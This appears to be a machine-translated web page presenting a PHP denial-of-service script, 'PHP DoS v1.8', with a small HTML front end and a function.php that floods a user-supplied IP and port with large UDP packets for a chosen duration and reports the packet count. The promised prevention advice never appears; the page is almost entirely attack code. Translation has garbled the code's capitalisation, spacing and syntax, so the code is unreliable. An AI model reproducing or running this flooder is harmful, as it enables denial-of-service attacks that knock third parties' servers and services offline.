PhpDOS attack implementation code (with how to prevent) _ php instance

The short php code implements DOS attacks. sometimes you can use this code as an attacker without obtaining server permissions. Therefore, you must pay attention to the website security index. php.

The code is as follows:

$ Ip = $ _ SERVER ['remote _ ADDR '];
?>





PHP DoS, Coded by EXE

Your IP: (Don't DoS yourself nub)

Function. php

The code is as follows:

// ================================================ ==============
// Php dos v1.8 (Possibly Stronger Flood Strength)
// Coded by EXE
// ================================================ ==============
$ Packets = 0;
$ Ip = $ _ POST ['IP'];
$ Rand = $ _ POST ['port'];
Set_time_limit (0 );
Ignore_user_abort (FALSE );
$ Exec_time = $ _ POST ['Time'];
$ Time = time ();
Print "Flooded: $ ip on port $ rand

";
$ Max_time = $ time + $ exec_time;
For ($ I = 0; I I <65535; $ I ++ ){
$ Out. = "X ";
}
While (1 ){
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = fsockopen ("udp: // $ ip", $ rand, $ errno, $ errstr, 5 );
If ($ fp ){
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Echo "Packet complete ". time ('H: I: s '). "with $ packets (". round ($ packets * 65)/1024, 2 ). "mB) packets averaging ". round ($ packets/$ exec_time, 2 ). "packets/s \ n ";
?>